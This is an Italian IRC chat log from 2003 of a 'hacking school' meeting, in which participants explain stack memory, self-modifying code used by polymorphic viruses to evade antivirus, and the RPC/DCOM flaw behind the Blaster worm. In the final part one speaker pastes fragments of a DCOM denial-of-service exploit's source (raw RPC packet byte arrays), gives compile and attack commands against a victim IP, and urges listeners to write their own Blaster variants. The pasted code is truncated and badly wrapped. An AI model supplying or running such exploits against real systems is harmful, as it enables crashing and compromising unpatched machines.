Session Start: Mon Nov 24 21:38:11 2003
Session Ident: #alexmessomalex
* Now talking in #alexmessomalex
* Topic is '•11,12•www.AlexMessoMalex.com•• •1,8¤• ••8,10La prossima parte del meeting "•A scuola di hacking•" si terrà •Lunedì 24 Novembre• alle ore •21.30•.• •1,8¤• •0,2Si prega di visitare la sezione •8•FAQ••0 e il •8•FORUM••0 prima di chiedere ai moderatori.••'
* Set by SaNdStOrM on Mon Nov 24 18:45:12

* XSickBoyX sets mode: +m
* XSickBoyX sets mode: +v c0wboy
<XSickBoyX> allora
<XSickBoyX> raga
<XSickBoyX> introduce
<XSickBoyX> cowboy
<XSickBoyX> parlandoci di qualche Bug di NT
<XSickBoyX> poi vedo avanti io
<XSickBoyX> con l'amministrazione remota
<XSickBoyX> e su come sfruttare questi servizi
<XSickBoyX> vai cowboy
<c0wboy> bug ?
<c0wboy> uhm
<XSickBoyX> exploting
<c0wboy> allora
<XSickBoyX> qlc aveva chiesto unicode
<c0wboy> una ocsa
<c0wboy> è
<c0wboy> se mi chiedi di parlare di exploitng un altra
<c0wboy> di
<c0wboy> bug
<c0wboy> :)
<c0wboy> parliamo di exploitng
<c0wboy> uhm
<c0wboy> leggete
<c0wboy> phrack
<c0wboy> è in inglese
<c0wboy> è difficile
<c0wboy> ma ben fatta ed è ila massimo.
<c0wboy> nn capisco xkè si debbba sempre scrivere di migliardi di cose quando si puo attingere dalla fonte
<c0wboy> :)
<XSickBoyX> azz
<XSickBoyX> Cowboy
<XSickBoyX> devi parlare tu
<XSickBoyX> non puoi dire
<XSickBoyX> cosa leggere o meno
<c0wboy> vabbe
<c0wboy> in query mi domandano
<c0wboy> se sono preparato di exploitng
<c0wboy> vabbe
<c0wboy> allora stasra si parla di
<c0wboy> stack overflow
<c0wboy> x iniziare dalla base
<c0wboy> tralasciando
<c0wboy> il fatto che siano obsoleti
<c0wboy> stravecchi
<c0wboy> e che siano state sviluppate
<c0wboy> tecniche
<c0wboy> x exploitarli sempre piu
<c0wboy> diciamo
<c0wboy> "belle"
<c0wboy> il concetto su cui si fonda uno stack overflow
<c0wboy> (nel nostro caso che sovrascriva il ret address di una funzione)
<c0wboy> consiste nel
<c0wboy> sovrascrivere

<c0wboy> delle parti di memoria
<c0wboy> che
<c0wboy> normalemne il rpogramma nn dovrebbe sovrascrivere
<c0wboy> vi pasto un
<c0wboy> semplice code di esempio
<c0wboy> main()
<c0wboy> {
<c0wboy> ....
<XSickBoyX> scusa cowboy
<XSickBoyX> aspe
<c0wboy> si..
<c0wboy> nn va bene cosi ?
<XSickBoyX> cos'è uno stack overflow
<XSickBoyX> si va benissimo
<XSickBoyX> ma usa termini semplici o quando li usi spiega cosa significa
<c0wboy> ehm
<c0wboy> lo stack
<c0wboy> è una regione della memoira
<c0wboy> la memoria
<c0wboy> (virtuale)
<c0wboy> di un sistema
<c0wboy> (prendo in esame linux=
<c0wboy> è suddivisa
<c0wboy> in diverse regioni logiche
<c0wboy> una di questa è detta
<c0wboy> stack
<c0wboy> e viene impiegata per
<c0wboy> immagazzinare
<c0wboy> dati
<c0wboy> di un processo
<c0wboy> esempio
<c0wboy> gli argomenti di una funzione,
<c0wboy> il contenuto di variabili
<c0wboy> e altro
<c0wboy> lo stack
<c0wboy> lo si puo immaginare come un saccco
<c0wboy> quindi
<c0wboy> il primo elemento
<c0wboy> che viene "insaccato"
<c0wboy> sarà
<c0wboy> anche l'ultimo
<c0wboy> ad essere
<c0wboy> "levato"
<c0wboy> per quetso lo stack è una memroia di tipo LIFO
<c0wboy> last in first out
<c0wboy> va bene cosi ?
<XSickBoyX> ni
<XSickBoyX> mi stanno arrivando un bel pò di domande
<XSickBoyX> cmq
<XSickBoyX> allora
<XSickBoyX> ci stai descrivendo un particolare bug di win nt da sfruttare?
<XSickBoyX> oh cowboy?
<c0wboy> no
<c0wboy> come detto rpima
<c0wboy> sto descrivendo
<c0wboy> una CLASSE di
<c0wboy> vulenrabilità
<c0wboy> che puo essere applicata
<c0wboy> ad ogni sistema
<c0wboy> cioè
<c0wboy> nn è proprio cosi
<XSickBoyX> mi fanno una domanda
<XSickBoyX> mi chiedono di unicode
<XSickBoyX> conosci?
<c0wboy> si ma nnc entraun cazzo
<c0wboy> se
<XSickBoyX> si lo so
<XSickBoyX> :)

<c0wboy> voelte sapere di
<c0wboy> unicode
<c0wboy> trasversal bug
<c0wboy> siete un po datati..è dal 98 che è pubblico..
<c0wboy> sarebbe piu interessante
<c0wboy> interessarsi a nuvoe vuln no ?:)
<c0wboy> continuo ?
<XSickBoyX> si
<XSickBoyX> vai
<c0wboy> ok
<c0wboy> quindi
<c0wboy> a questo punto
<c0wboy> p interessante sapere come una funzione
<c0wboy> cioè
<c0wboy> come i parametri vengono passati ad una funzione
<c0wboy> prima cosa
<c0wboy> se ad una funzione
<c0wboy> devono essere passati dei parametri, è necessario
<c0wboy> che
<c0wboy> venga alocata
<c0wboy> della memoria
<c0wboy> per "far spazio"
<c0wboy> a questi parametri
<c0wboy> se chiamo una funzione
<c0wboy> eh cazzo
<c0wboy> come faccio a spigare sta cosa
<c0wboy> a gente che nn sa nulla di asm ?
<XSickBoyX> :)
<XSickBoyX> cowboy
<c0wboy> alex
<XSickBoyX> stiamo qui x imparare
<c0wboy> mi fermo qui
<k58evitca>
****
<XSickBoyX> cowboy
<XSickBoyX> hai finito??
<c0wboy> si
<c0wboy> basta
<k58evitca> non lasciamo le cose a metà
<c0wboy> continua
<c0wboy> tu
<k58evitca> posso spiegarvi io come funziona lo stack
<k58evitca> iniziare qualcosa e lasciarla a metà non è una cosa da fare
<k58evitca> altrimenti le cose restano campate in aria
<k58evitca> vedrò di essere + chiaro possibile
<k58evitca> innanzitutto bisogna chiarire che ogni processore
<k58evitca> utilizza dei registri (nel nostro caso grandi 32 bit e quindi 4 bytes) per salvare i suoi bravi dati
<k58evitca> per stack, letteralmente si intende un "intervallo"
<k58evitca> in questo caso si parla di un intervallo di memoria che viene utilizzato per il salvataggio di dati
<k58evitca> questo intervallo cresce tra EBP che punta al bottom dello stack ed ESP che punta al top dello stack
<k58evitca> passiamo alla parte pratica
<k58evitca> anche nel comunissimo visual basic
<k58evitca> le funzioni chiamate
<k58evitca> memorizzano lo stack per il salvataggio dei loro parametri
<k58evitca> prendiamo come esempio una chiamata a MsgBox
<k58evitca> il suo uso + comune è
<k58evitca> è
<k58evitca> MsgBox "ciao mamma"
<k58evitca> quando noi
<k58evitca> comunemente scriviamo "ciao mamma"
<k58evitca> stiamo salvando nello stack
<k58evitca> •l'indirizzo in memoria di quella stringa (sempre "ciao mamma")
<k58evitca> questo indirizzo
<k58evitca> viene utilizzato dalla MsgBox

<k58evitca> per "rintracciare" la posizione della stringa
<k58evitca> proviamo adesso
<k58evitca> a vedere la situazione
<k58evitca> parlando in linguaggio makkina (vi spiego io quello che non capite)
<k58evitca> per chiamare una funzione
<k58evitca> l'istruzione usa
<k58evitca> call istruzione
<k58evitca> in questo caso
<k58evitca> call MsgBox
<k58evitca> prima di chiamarla
<k58evitca> viene usato lo stack in questo modo:
<k58evitca> ************************
<k58evitca> push offset stringa
<k58evitca> call MsgBox
<k58evitca> ************************
<k58evitca> quella push
<k58evitca> altro non fa
<k58evitca> che salvare nello stack l'offset (ovvero l'indirizzo)
<k58evitca> della stringa "ciao mamma"
<k58evitca> in questo modo
<k58evitca> la chiamata sà che i primi 4 bytes di ESP
<k58evitca> corrispondono
<k58evitca> all'indirizzo pushato
<k58evitca> e quindi facilmente
<k58evitca> può "capire" dove si trova la stringa
<k58evitca> lasciamo spazio alle vostre domande
<k58evitca> ;-)
<k58evitca> non ci sono domande a quanto vedo
<XSickBoyX> nop
<XSickBoyX> no
<k58evitca> significa o che avete capito tutti
<XSickBoyX> <Acquarius_> msgbox sarebbe in visual basic textbox?
<k58evitca> oppure che siete morti tutti x.x
<XSickBoyX> eccone una
<k58evitca> allora Acquarius_
<k58evitca> la textbox
<k58evitca> è un componente che contiene del testo
<k58evitca> invece la MsgBox
<k58evitca> è una funzione che fa comparire una finestra di dialogo
<k58evitca> come quelle che ti chiedono "riavviare il computer? premere SI per riavviarlo adesso, NO per riavviarlo in seguito"
<k58evitca> è infatti una "Scatola Messaggio" (MsgBox appunto :)
<k58evitca> Acquarius_ capito? (fatelo parlare, poveraccio ;-)
<XSickBoyX> <Acquarius_> e come si inserisce in un file .exe di visual basic?
<k58evitca> beh
<k58evitca> ovviamente per inserirlo nell'exe è un po' complesso da spiegare... ma se stai programmando
<k58evitca> è sufficiente la chiamata
<k58evitca> MsgBox "testo del messaggio"
<k58evitca> molto spesso
<k58evitca> quando vedete l'errore "overflow dello stack"
<k58evitca> vuol dire
<k58evitca> che per qualche motivo a dir poco bellissimo
<k58evitca> sn stati pushati + parametri di quanti ne cacciavano
<k58evitca> un uso
<k58evitca> che viene fatto dallo stack
<k58evitca> un po' + complesso
<k58evitca> di quello "tradizionale"
<k58evitca> è quello dell'SMC
* XSickBoyX sets mode: +v X-Men
<k58evitca> conosciuto anche come Self-modification code
<k58evitca> (entriamo un po' nella parte + interessante)
<k58evitca> prendiamo in esame
<k58evitca> una parte di codice
<k58evitca> che inizia da un indirizzo che noi chiameremo _start
<k58evitca> come vi ho spiegato
<k58evitca> lo stack cresce tra i suoi registri all'interno dello stack frame creato

<XSickBoyX> <cubanitos> digli di fare esempi come ha fatto prima
<XSickBoyX> <cubanitos> se può grazie
<k58evitca> si parte un esempio al + presto è un po' + complesso ma si può capire ;-)
<k58evitca> alor dicevamo
<k58evitca> prendiamo in esame una parte di codice
<k58evitca> chiamata _start (la chiamiamo noi così per capirci)
<k58evitca> dato che lo stack cresce tra EBP ed ESP
<k58evitca> provate ad immaginare che cosa succede
<k58evitca> se la nostra area _start corrisponda
<k58evitca> all'intervallo di memoria utilizzato
<k58evitca> dallo stack per crescere
<k58evitca> succede che, se la nostra area di codice è writeable
<k58evitca> salvando parametri nello stack
<k58evitca> •andiamo a modificare il codice che sta per essere eseguito durante la sua fase di esecuzione stessa
<k58evitca> se non vi è chiaro posso provare a spiegarmi meglio
<k58evitca> che ne dite?
<XSickBoyX> nulla :9
<k58evitca> ok
<k58evitca> questo metodo
<k58evitca> è molto usato tra i virus "polimorfi"
<k58evitca> sono dei virus che cambiano a runtime (ovvero mentre sono in esecuzione)
<k58evitca> in questo modo per esempio
<k58evitca> lo stack
<k58evitca> viene utilizzato per fottere gli antivirus
<k58evitca> e siccome non è poi tanto usato perché è anche complesso da sincronizzare
<k58evitca> molti anti-virus ci toppano
<k58evitca> in quanto le istruzioni usate per modificare il codice sono comunissime push (per salvare nello stack) e pop (per richiamare dallo stack)
<k58evitca> che alla fine sono usate da tutti i programmi
<k58evitca> nel loro utilizzo tradizionzle
<k58evitca> ci sono domande?
<k58evitca> XSickBoyX illuminami
<XSickBoyX> nisba
<X-Men> ...
<k58evitca> mamma mia... non ditemi così che arrossisco
<X-Men> Buonasera
<k58evitca> comunque
<k58evitca> non pensiamo in male
<k58evitca> vediamo di affrontare il problema inverso
<k58evitca> moltissime volte programmando in assembly (ovvero linguaggio makkina)
<k58evitca> quando viene chiamata una procedura
<k58evitca> bisogna risolvere questo problema
<k58evitca> ovvero può succedere che lo stack vada a sovrascrivere la parte di codice chiamata
<k58evitca> per evitare
<k58evitca> che questo avviene
<k58evitca> l'utente (anche se i compilatori ormai lo fanno automaticamente(
<k58evitca> deve creare un nuovo "stack frame"
<k58evitca> vediamo di essere chiaro
<k58evitca> quando viene chiamata una procedura
<k58evitca> in [esp] c'è il valore di ritorno della proc stessa
<k58evitca> ovvero c'è l'indirizzo che riassume il controllo delle operazioni dopo
<k58evitca> la fine della procedura
<k58evitca> il problema si pone soprattutto programmando i settori di avvio in modalità reale in quanto i registri all'avvio del computer non sono inizializzati
<k58evitca> per questo
<k58evitca> si usa fare queste 2 semplicissime istruzioni
<k58evitca> ************************
<k58evitca> push ebp
<k58evitca> mov ebp, esp
<k58evitca> ************************

<k58evitca> •le riscrivo per colpa di quel fauley o beverly hills cop3 che vuole fare -_-
<k58evitca> ****************************
<k58evitca> push ebp
<k58evitca> mov ebp, esp
<k58evitca> ****************************
<k58evitca> con questo giochetto di istruzioni
<k58evitca> ebp (il bottom dello stack) viene salvaguardato per il momento
<k58evitca> e poi gli viene dato il nuovo valore di ESP (il top)
<k58evitca> assicurando che questo stack cresca dove sicuramente non c'è codice utile
<k58evitca> ;-)
<k58evitca> domande?
<k58evitca> rispondo a qualsiasi cosa
<k58evitca> senza limiti
<XSickBoyX> nisba
<k58evitca> <Acquarius_> ehm ... a che serve questa roba?
<k58evitca> Acquarius_, ottima domanda ^^'
<XSickBoyX> beh domanda ovvia e pratica :)
<k58evitca> serve per capire
<k58evitca> che cosa combina un processore
<k58evitca> quando esegue le sue brave istruzioni
<k58evitca> e potrò servire a qualcuno di voi
<k58evitca> se in futuro diventa un programmatore di settori di avvio ;-)
<k58evitca> studiando
<k58evitca> questi giochetti
<k58evitca> alla fine si possono mettere insieme per capire
<k58evitca> che cosa provoca gli errori
<k58evitca> delle applicazioni
<k58evitca> e molte volte correggerli
<k58evitca> non è la prima volta che lo faccio
<k58evitca> beh si...
<k58evitca> non sempre... ma è capitato ;-)
<k58evitca> <cyberman> viene salvaguardato in che senso ebp?
<k58evitca> risposta semplice per domanda semplice ma intuitiva
<k58evitca> quando noi
<k58evitca> finiamo l'esecuzione di una procedura
<k58evitca> dobbiamo ritornare al punto in cui è stata chiamata per continuare il codice principale
<k58evitca> per fare questo
<k58evitca> lo stack deve essere uguale a quello che c'era prima
<k58evitca> che la funzione
<k58evitca> venga chiamata
<k58evitca> altrimenti si incorre in uno scompenso di stack
<k58evitca> e il programma dà errore
<k58evitca> per questo
<k58evitca> prima ebp viene salvato
<k58evitca> e poi
<k58evitca> viene ripristinato alla fine
<k58evitca> <Acquarius_> quindi è come se fosse un ciclo?
<k58evitca> non capisco che intendi, Acquarius_
<k58evitca> allora
<k58evitca> mi spiego meglio
<k58evitca> ...codice...
<k58evitca> chiamata
<k58evitca> ...altro codice...
<k58evitca> quando siamo a "...codice..."
<k58evitca> abbiamo ad esempio EBP = 4
<k58evitca> (uso numeri di esempio ;-)
<k58evitca> chiamando la procedura
<k58evitca> EBP verrà potenzialmente modificato da questa
<k58evitca> solo
<k58evitca> che
<k58evitca> quando finisce
<k58evitca> la chiamata
<k58evitca> e ritorniamo in "...altro codice..."
<k58evitca> EBP deve sempre essere = 4
<k58evitca> altrimenti c'è uno scompenso di stack

<k58evitca> quindi viene salvato, poi viene eseguita la proc, e poi viene ripristinato quello originale
<k58evitca> •signori, la mia lezioncina sullo stack è alla fin
<X-Men> ok..
<k58evitca> spero di aver reso l'idea di cosa che si tratta
<X-Men> Grazie k58evitca
<XSickBoyX> grande k58
<XSickBoyX> :)
<X-Men> Sickboy
<X-Men> mi aveva kiesto
<XSickBoyX> sei stato, x quanto mi riguarda veramente chiaro
<XSickBoyX> vai x men
<X-Men> di dare un approfondimento
<X-Men> a un bug di ke ha kolpito i sistemi operativi kon kernel NT
<k58evitca> dovete scusarmi
<k58evitca> se l'argomento non rientrava
<k58evitca> in quello previsto
<k58evitca> ma non sn stato io a uscire di strada
<X-Men> (Win NT, 2000, XP)
<k58evitca> e non volevo che la cosa restasse campata in aria
<k58evitca> e a metà
<X-Men> okok...
<X-Men> posso ?
<X-Men> ok
<X-Men> grazie..
<X-Men> spero ci sia qualkuno ke askolta..
<X-Men> non vorrei parlare kol muro..
<X-Men> Stavo dicendo un recente bug
<X-Men> ke kolpisce gli OS microsoft non patchati kon kernel NT
<X-Men> Sto parlando del bug ke sfruttava il famigerato worm blaster...
<X-Men> il bug della RPC
<X-Men> molti di voi non hanno idea di kosa sia la RPC
<X-Men> e io sn quì x farvelo kapire..
<X-Men> RPC, acronimo di Remote Procedure Call, è un meccanismo generale
<X-Men> per la gestione di applicazioni client-server.
<X-Men> Il sistema si basa su un portmapper daemon
<X-Men> e un file che elenca i servizi disponibili
<X-Men> associati al relativo daemon
<X-Men> kos'è il portmapper ?
<X-Men> l portmapper è un classico esempio di un programma che gestisce un servizio di rete
<X-Men> in modo standalone
<X-Men> cioè senza essere controllato da inetd
<X-Men> <Acquarius_> cosa è un daemon
<X-Men> un daemon è un programma ke askolta le konnessioni su una determinata porta
<X-Men> i daemon gestiskono i protocolli e le loro preocedure
<X-Men> c'è tutto un diskorso sui daemon
<X-Men> ma sn quì x parlare di RPC...
<X-Men> Semplificando in modo estremo il funzionamento delle RPC
<X-Men> i può dire che si tratti di un meccanismo attraverso cui si possono eseguire delle elaborazioni remote.
<X-Men> Dal lato server si trova il portmapper in ascolto sulla porta 111
<X-Men> dal lato client ci sono una serie di programmi
<X-Men> che per un qualunque servizio RPC devono prima interpellare il portmapper remoto
<X-Men> il quale fornisce loro le informazioni necessarie a stabilire una connessione con il daemon competente
<X-Men> Per questo motivo le chiamate RPC contengono l'indicazione di un numero di programma
<X-Men> attraverso il quale il portmapper remoto è in grado di rispondere informando il client sul numero di porta da utilizzare per quel programma
<X-Men> I servizi RPC possono essere interrogati attraverso il programma rpcinfo
<X-Men> Per esempio per chiedere al portmapper del computer irc.azzurra.it
<X-Men> quali servizi siano disponibili
<X-Men> e conoscere le loro caratteristiche si può agire
<X-Men> in questo modo...
<X-Men> $ rpcinfo -p weizen.mehl.dg

<Tiranno> $ rpcinfo -p weizen.mehl.dg[Invio
<Tiranno> azz ho indovinato!
<X-Men> programma versiona protocollo   porta
<Tiranno> che bestia che sono
<X-Men> kosì sarà la rsp del svr
<X-Men> Si..
<X-Men> questo komando..
<X-Men> se voi conosceste l'exploit
<X-Men> della DCOM
<X-Men> l'exploit si basa
<X-Men> su un comando simile
<X-Men> Questo komando
<X-Men> serve per chiedere al portmapper
<X-Men> quali servizi siano disponibili
<X-Men> e conoscere le loro caratteristiche
<X-Men> Parliamo del bug
<X-Men> E dell'exploit in generale...
<X-Men> come si attua
<X-Men> e da dove si può scaricare
<X-Men> Voi tutti conoscerete di sicuro
<X-Men> il famigerato worm blaster
<X-Men> ebbene
<X-Men> il worm blaster non faceva altro
<X-Men> che l'exploit che noi stiamo x imparare
<X-Men> Il bug è noto con il nome di DCOMDOS
<X-Men> Distributed Component Object Model Denial Of Service
<X-Men> Si tratta di una vulnerabilità di overrun del buffer
<X-Men> che può essere sfruttata in modalità remota attraverso un'interfaccia DCOM RPC in ascolto sulla porta TCP/UDP 135
<X-Men> lo sfruttamento di questo bug
<X-Men> può determinare l'esecuzione di istruzioni nocive
<X-Men> sul sistema colpito
<X-Men> Questo problema può presentarsi su porte diverse da quella su cui è in ascolto il mapper dell'endpoint RPC
<X-Men> Quali 39, 135, 445 e 593
<X-Men> ma andiamo nei dettagli
<Tiranno> ma le porte di questo worm non sono porte 135 e 4444 tcp e 69 udp
<X-Men> e illustriamo kos'è
<Tiranno> ?
<X-Men> SI TIRANNO..
<X-Men> IO KE HO DETTO ?
<X-Men> STO X DIRE
<X-Men> QUELLE SN X LA DCOM
<X-Men> NON PREOKKUPARTI
<X-Men> allora..
<X-Men> kos'è la DCOM ?
<X-Men> E l'architettura realizzata da Microsoft per componenti di software
<X-Men> Viene spesso utilizzato ai fini dell'integrazione di funzioni in diverse applicazioni
<X-Men> Il modello Distributed Component Object Model
<X-Men> conosciuta come Tecnologia OLE di rete
<X-Men> E semplicemente un ampliamento del modello COM i cui componenti sono ora in grado di comunicare in rete
<X-Men> la dcom sfrutta il protocollo UDP
<X-Men> L'exploit
<X-Men> che il caro worm blaster attuava
<X-Men> Cercava di infettare computer remoti facendo partire attacchi sulla porta tcp 135
<X-Men> Se trova via libera si copia e si esegue sulla macchina bersaglio infettandola e rendendola pronta a diffondere nuovamente il worm
<X-Men> Tutti i file sui pc infetti vengono lasciati intatti quindi, a parte i continui riavvii, quale è lo scopo di questo virus?
<X-Men> Semplice... il 16 di agosto, i computer infettati, inizieranno un attacco DoS al sito windowsupdate.com per rendere irraggiungibili le patch di windows e danneggiare mamma Microzoz
<X-Men> Ora
<X-Men> la domanda è
<X-Men> Coma si attua l'exploit ?

```
<X-Men> Vi ricordate le procedure x la RPC che ho prima descritto ?
<X-Men> basta aprire una semplice shell dos
<X-Men> Compilare l'exploit scritto in C++
<X-Men> E scrivere una di quelle procadure descritte prima
<X-Men> *procedure
<X-Men> Non tutti hanno quell'exploit
<X-Men> ma x rendervelo noto
<X-Men> farò x voi
<X-Men> un copia incolla direttamente in chat
<X-Men> un copia incolla del codice sorgente
<X-Men> che voi potrete benissimo copiare in blocco note
<X-Men> E salvare il tutto con l'estensione *.cpp
<X-Men> Poi seguirete le mie istruzioni
<X-Men> X la compilazione e l'attuazione
<X-Men> Ora inizio il paste del codice
<X-Men> Pronti ?
<X-Men> VIA
<X-Men> ----------------------------------------------
<X-Men> #include <string.h>
<X-Men> #include <stdio.h>
<X-Men> #include <stdlib.h>
<X-Men> #include <process.h>
<X-Men> #include <winsock2.h>
<X-Men> #include <windows.h>
<X-Men> #include <io.h>
<X-Men> #include <conio.h>
<X-Men> #include <fcntl.h>
<X-Men> #include <signal.h>
<X-Men> #pragma comment(lib,"ws2_32")
<X-Men> #define VER "2.3_beta"
<X-Men> int num=1;
<X-Men> unsigned char bindstr[]={
<X-Men>
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
<X-Men>
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
<X-Men>
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,
<X-Men> 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
<X-Men> 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
<X-Men> unsigned char request1[]={
<X-Men> 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
<X-Men>
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
<X-Men>
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
<X-Men>
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
<X-Men>
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
<X-Men>
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
<X-Men>
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
<X-Men>
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
<X-Men>
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
<X-Men>
```

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
<X-Men>
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
<X-Men>
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
<X-Men>
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
<X-Men>
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
<X-Men>
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
<X-Men>
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
<X-Men>
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
<X-Men> ,0x00,0x00,0x00,0x00,0x00,0x00};
<X-Men> Visto che l'exploit è molto lungo
<X-Men> Proporrei di pubblicarlo sul sito di Alex
<X-Men> in modo da tenerlo raggiungibile da chiunque
<X-Men> L'uso è semplice
<X-Men> le procedure x la RPC ke ho prima citato..
<X-Men> Beh, quelle
<X-Men> Mettete l'exploit in C:
<X-Men> aprite dos
<X-Men> E skrivete
<X-Men> cl dcomdos.cpp
<X-Men> Oppure Cl C:\File.cpp
<X-Men> dipende da come avete salvato
<X-Men> poi
<X-Men> atttakkate il server vulnerabile
<X-Men> kon questo komando
<X-Men> dcomdos -d 10.10.10.135 -n 3000
<X-Men> la sintassi è
<X-Men> "nomefile" -d "IPvittima" -n 3000
<X-Men> un exploit facile
<X-Men> e veloce
<X-Men> kon questo simulerete
<X-Men> un attakko del mitiko
<X-Men> Worm Blaster
<XSickBoyX> :)
<XSickBoyX> MITICO :)
<X-Men> Ke sekondo un sofistikato algoritmo
<X-Men> Generava indirizzi IP
<X-Men> dai PC degli infettati
<X-Men> Questo tipo di exploit
<X-Men> Rikordate
<X-Men> Tutti OS kon kernel NT
<X-Men> senza patch
<X-Men> naturalmente
<X-Men> Potrei ank deskrivere kome vedere se il svr è vulnerabile
<X-Men> Ma vi assicuro ke xderete - tempo a provare l'exploit ke a vedere se la vittima è vulnerabile
<X-Men> Quindi provate direttamente l'exploit
<X-Men> Questo exploit non fa altro ke dare un comando remoto
<X-Men> sulla RPC
<X-Men> ke kuide il famigerato processo
<X-Men> Svchost.exe
<X-Men> infatti
<X-Men> se aprite il vostro taskmanager
<X-Men> lo vedrete
<X-Men> e se provate a kiuderlo
<X-Men> vedrete in prima xsone
<X-Men> xsona
<X-Men> l'effetto ke l'exploit avrà sulla vittima
<XSickBoyX> RAGA QUANDO XMEN FINISCE DI PARLARE DI RPC (COMPLIMENTI) IL CHAT MEETING X OGGI FINIRA' E CI SI VEDE ALLA PROX.GRAZIE A TUTTI X L'ATTENZIONE

<X-Men> <cyberman> a che serve schost?
<X-Men> Svchost è il processo di sistema della RPC
<X-Men> E kon questo konkludo,..
<X-Men> Avete imparato ad attuare l'exploit del Worm Blaster
<X-Men> E se farete tesoro si quello ke vi ho detto
<X-Men> qualkuno di voi
<X-Men> kome me
<X-Men> potrà fare anke qualke variante del Worm Blaster
<X-Men> se konoscete un linguaggio di programmazzione
<X-Men> E KON QUESTO KONCLUDO
<X-Men> LA LEZIONE E' FINITA ANDATE IN PACE
<X-Men> vado..
<X-Men> Ciao a tutti
<XSickBoyX> DALLA PROX LEZIONE IN POI I CHAT MEETING SI TERRANNO OGNI MARTEDI ALLE 21.30
<XSickBoyX> grazie xmen
<X-Men> Se ritenete ke sareste stati + bravi di me
<X-Men> nn importa
<XSickBoyX> x la collaborazione
<X-Men> So ke voi siete i migliori
<XSickBoyX> e complimenti x la chiarezza
<X-Men> ;)
Session Close: Mon Nov 24 23:39:14 2003